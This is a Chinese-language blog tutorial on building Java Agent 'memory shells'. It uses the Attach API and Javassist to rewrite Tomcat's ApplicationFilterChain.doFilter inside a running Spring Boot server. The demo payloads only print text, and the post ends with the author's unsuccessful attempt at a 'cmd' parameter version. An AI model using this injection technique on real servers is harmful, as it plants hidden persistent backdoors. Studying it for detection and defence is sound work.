Agent内存马


Agent 简单使用

javaagent 使用指南
官方:https://docs.oracle.com/javase/7/docs/api/java/lang/instrument/package-summary.html

什么是 Agent

在 JDK1.5 以后引入了java/lang/instrument包,此包用来协助监测、运行甚至替换其他 JVM 上的程序。使用它可以实现虚拟机级别的 AOP 功能,这种方法也称 Java Agent 技术。简单来说就是 Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法
Agent 内存马就是利用这种方法修改原来的字节码,将恶意方法添加进去实现内存马
Agent 的入口点有两个

  1. preMain:在启动时进行加载 ( jdk 1.5 之后)
  2. agentMain:在启动后进行加载 (jdk 1.6 之后)

环境搭建

起两个项目,一个是 agent 项目(用来打包 jar,一个是测试项目

preMain

package com.yq1ng.demo;

import java.lang.instrument.Instrumentation;

/**
 * @author ying
 * @Description
 * @create 2021-12-11 10:25 PM
 */

public class preMain {
    public static void premain(String args, Instrumentation inst) throws Exception{
        System.out.println("=======================PreMain=======================");
    }
}

src/main/resources下添加文件:META-INF/MANIFEST.MF,内容为

Manifest-Version: 1.0
Premain-Class: com.yq1ng.demo.preMain

接着来到项目结构
image.png
默认即可
image.pngimage.pngimage.png
然后是测试项目

import com.sun.tools.attach.*;

/**
 * @author ying
 * @Description
 * @create 2021-12-11 22:46
 */

public class helloword {
    public static void main(String[] args) {
        System.out.println("hello word~");
    }
}

我用的是 idea2021.3,添加 vm 参数为
image.png
-javaagent:F:\\study\\JavaProject\\agent\\out\\artifacts\\agent_jar\\agent.jar,然后运行
image.png
但是 premain 实际上用不上,你又不能操控服务器,更别说在启动项目的时候加载我们的 jar 包了

AgentMain

这个时候来看 AgentMain

package com.yq1ng.demo;

import java.lang.instrument.Instrumentation;

/**
 * @author ying
 * @Description
 * @create 2021-12-11 23:04
 */

public class agentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        System.out.println("=======================AgentMain=======================");
    }
}

META-INF/MANIFEST.MF

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: com.yq1ng.demo.preMain
Agent-Class: com.yq1ng.demo.agentMain
属性 作用
Premain-Class 指定代理类
Agent-Class 指定代理类
Boot-Class-Path 指定 bootstrap 类加载器的搜索路径,在平台指定的查找路径失败的时候生效, 可选
Can-Redefine-Classes 是否需要重新定义所有类,默认为 false,可选
Can-Retransform-Classes 是否需要 retransform,默认为 false,可选

打包,然后看测试

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

/**
 * @author ying
 * @Description
 * @create 2021-12-11 22:46
 */

public class helloword {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        System.out.println("hello word~");
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list){
            if (vmd.displayName().equals("helloword")){
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent("F:\\study\\JavaProject\\agent\\out\\artifacts\\agent_jar\\agent.jar");
                virtualMachine.detach();
            }
        }
    }
}

注意:如果导包提示 VirtualMachine 不存在将 jdk/lib/tools.jar 导入库即可
image.png

run
image.png
介绍一下上面使用到的一些东西

Agent 使用的一些类

VirtualMachine

代表一个 Java 虚拟机,即程序需要监控的目标虚拟机,提供了 JVM 枚举,Attach 动作和 Detach 动作等等
官方文档:https://www.apiref.com/java11-zh/jdk.attach/com/sun/tools/attach/VirtualMachine.html

  • id():返回此 Java 虚拟机的标识符。
  • attach(String id):传入 jvm 的 pid(即id()返回的值),然后连接到 jvm 上
  • loadAgent(String agent):传入代理 jar 包路径,然后加载此代理对象
  • loadAgent(String agent, String options):传入代理 jar 包路径与 instrument 实例,然后按照 instrument 规范启动代理
  • detach():从虚拟机分离,即解除代理

VirtualMachineDescriptor

描述虚拟机的容器类,配合 VirtualMachine 类完成各种功能
官方文档:https://www.apiref.com/java11-zh/jdk.attach/com/sun/tools/attach/VirtualMachineDescriptor.html

  • displayName():显示名称组件
  • equals():测试此 VirtualMachineDescriptor 是否与另一个对象相等

Instrumentation

提供允许 Java 编程语言代理程序检测在 JVM 上运行的程序的服务。 可以监测和协助运行在 JVM 上的程序,甚至能够替换和修改某些类的定义
官方文档:https://www.apiref.com/java11-zh/java.instrument/java/lang/instrument/package-summary.html
好文推荐:浅析 Java Instrument 插桩技术

  • addTransformer(ClassFileTransformer transformer):增加一个 Class 文件的转换器,该转换器用于改变 class 二进制流的数据,参数 canRetransform 设置是否允许重新转换
  • removeTransformer(ClassFileTransformer transformer):删除一个类转换器
  • retransformClasses(Class<?>... classes):在类加载之后,重新定义 class。事实上,该方法 update 了一个类
  • isModifiableClass(Class<?> theClass):判断目标类是否能够修改
  • getAllLoadedClasses():获取加载的所有类数组

ClassFileTransformer

此接口用于改变运行时的字节码,这个改变发生在 jvm 加载这个类之前,对所有的类加载器有效
官方文档:https://www.apiref.com/java11-zh/java.instrument/java/lang/instrument/ClassFileTransformer.html

接口中只有一个方法

byte[]
   transform(  ClassLoader         loader,
               String              className,
               Class<?>            classBeingRedefined,
               ProtectionDomain    protectionDomain,
               byte[]              classfileBuffer)
       throws IllegalClassFormatException;

注意此方法是byte[]类型,所以并不是真正的修改字节码(class),而是 jvm 读取字节码后的 byte。而 ClassFileTransformer 需要添加到 Instrumentation 实例中才能生效。来个 demo 看看

package com.yq1ng.demo;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

/**
 * @author ying
 * @Description
 * @create 2021-12-11 23:04
 */

public class agentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        System.out.println("=======================AgentMain=======================");
        //  获取所以已经加载的类
        Class[] classes = inst.getAllLoadedClasses();
        for (Class AllClass : classes){
            //  只注入特定的类
            if (AllClass.getName().equals(TestClassFileTransformer.editClassName)){
                inst.addTransformer(new TestClassFileTransformer(), true);
                try {
                    //	这里必须用try,不能在方法后抛异常,否则agent会加载失败
                    inst.retransformClasses(AllClass);
                } catch (UnmodifiableClassException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}
package com.yq1ng.demo;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

/**
 * @author ying
 * @Description
 * @create 2021-12-13 5:39 PM
 */

public class TestClassFileTransformer implements ClassFileTransformer {
    //  定义要修改的类的全限定名
    public static final String editClassName = "com.yq1ng.sayHello";
    //  定义修改的方法名
    public static final String editMethod = "say";

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        try {
            ClassPool classPool = new ClassPool().getDefault();
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(ccp);
            }
            CtClass ctClass = classPool.get(editClassName);
            CtMethod ctMethod = ctClass.getDeclaredMethod(editMethod);
            ctMethod.setBody("{System.out.println(\"hack you...\");}");
            byte[] bytes = ctClass.toBytecode();
            ctClass.detach();
            return bytes;
        } catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}
Manifest-Version: 1.0
Premain-Class: com.yq1ng.demo.preMain
Agent-Class: com.yq1ng.demo.agentMain
Can-Redefine-Classes: true
Can-Retransform-Classes: true

打包,然后写测试类

package com.yq1ng;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;
import java.util.Scanner;

/**
 * @author ying
 * @Description
 * @create 2021-12-14 5:03 PM
 */

public class helloWord {
    public static void main(String[] args) throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {
        System.out.println("=======================HelloWord=======================");
        //  第一次调用是为了加载sayHello,或者直接Class.forName("com.yq1ng.sayHello");
        //	这样可以直观看出方法被修改了
        sayHello say = new sayHello();
        say.say();
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list){
            if (vmd.displayName().equals("com.yq1ng.helloWord")){
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent("F:\\study\\JavaProject\\agent\\out\\artifacts\\agent_jar\\agent.jar");
                virtualMachine.detach();
            }
        }
        sayHello say1 = new sayHello();
        say1.say();
    }
}
package com.yq1ng;

/**
 * @author ying
 * @Description
 * @create 2021-12-14 5:04 PM
 */

public class sayHello {
    public void say(){
        System.out.println("hello yq1ng~");
    }
}

image.png

使用 Agent 实现内存马

从上面的几个 demo 可以看到可以使用 agent 修改方法体,所以我们在实现 agent 内存马的时候需要考虑两点

  1. 此方法一定会被执行
  2. 修改方法不会对业务造成影响

Filter 内存马一文中可以看到,请求发送到 servlet 之前会经过Filter,而Filter.doFilter()是过滤器链子必须经过的地方,那Filter.doFilter()作为注入方法再好不过了。

搭建环境

用 idea 就可以创建 springboot 项目啦!

简单 demo

agent 和前面的一样,只需更改TestClassFileTransformer

package com.yq1ng.demo;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;

/**
 * @author ying
 * @Description
 * @create 2021-12-13 5:39 PM
 */

public class TestClassFileTransformer implements ClassFileTransformer {
    //  定义要修改的类的全限定名
    public static String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
    //  定义修改的方法名
    public static final String editMethod = "doFilter";

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        try {
            editClassName = editClassName.replace("/", ".");
            ClassPool classPool = ClassPool.getDefault();
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(ccp);
            }
            CtClass ctClass = classPool.get(editClassName);
            CtMethod ctMethod = ctClass.getDeclaredMethod(editMethod);
            ctMethod.insertBefore("System.out.println(\"I'm hacking in...\");");
            byte[] bytes = ctClass.toBytecode();
            ctClass.detach();
            return bytes;
        } catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

测试环境非常简单,为了简洁只写了一个路由

package com.yq1ng.demo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/**
 * @author ying
 * @Description
 * @create 2021-12-15 1:53 PM
 */

@Controller
public class TestController {
    @ResponseBody
    @RequestMapping(value="/hello", produces="text/plant;charset=utf-8")
    public String hello(HttpServletRequest request, HttpServletResponse response){
        System.out.println("hello");
        return "hello word~";
    }
}

接着是将 agent 注入进去

package com.yq1ng.demo;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.net.URL;
import java.util.List;

/**
 * @author ying
 * @Description
 * @create 2021-12-15 5:07 PM
 */

public class test {
    public static void main(String[] args) throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {
		//	第一次访问是为了让服务器加载org.apache.catalina.core.ApplicationFilterChain
        URL url = new URL("http://127.0.0.1:8888/hello");
        url.openStream();

        String agentPath = "F:\\study\\JavaProject\\agent\\out\\artifacts\\agent_jar\\agent.jar";

        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list){
            if (vmd.displayName().equals("com.yq1ng.demo.DemoApplication")){
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent(agentPath);
                virtualMachine.detach();
                System.out.println("success~");
            }
        }
        //	这里进行测试
        url.openStream();
    }
}

启动 spring-boot,接着运行 test
image.png
image.png

失败记录

这里本来想试试 springboot 的 Filter 内存马的,但是我这里环境注入完毕以后就不能正常访问了,报错如下
image.png
经过排查,发现是 agent 注入到 doFillter()里面的request.getParameter("cmd");不能正确获取值导致的,原因未知,我也暂时放弃了,搞了快一周,先放放吧,如果有知道原因的师傅请一定要告诉我,非常感谢!


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录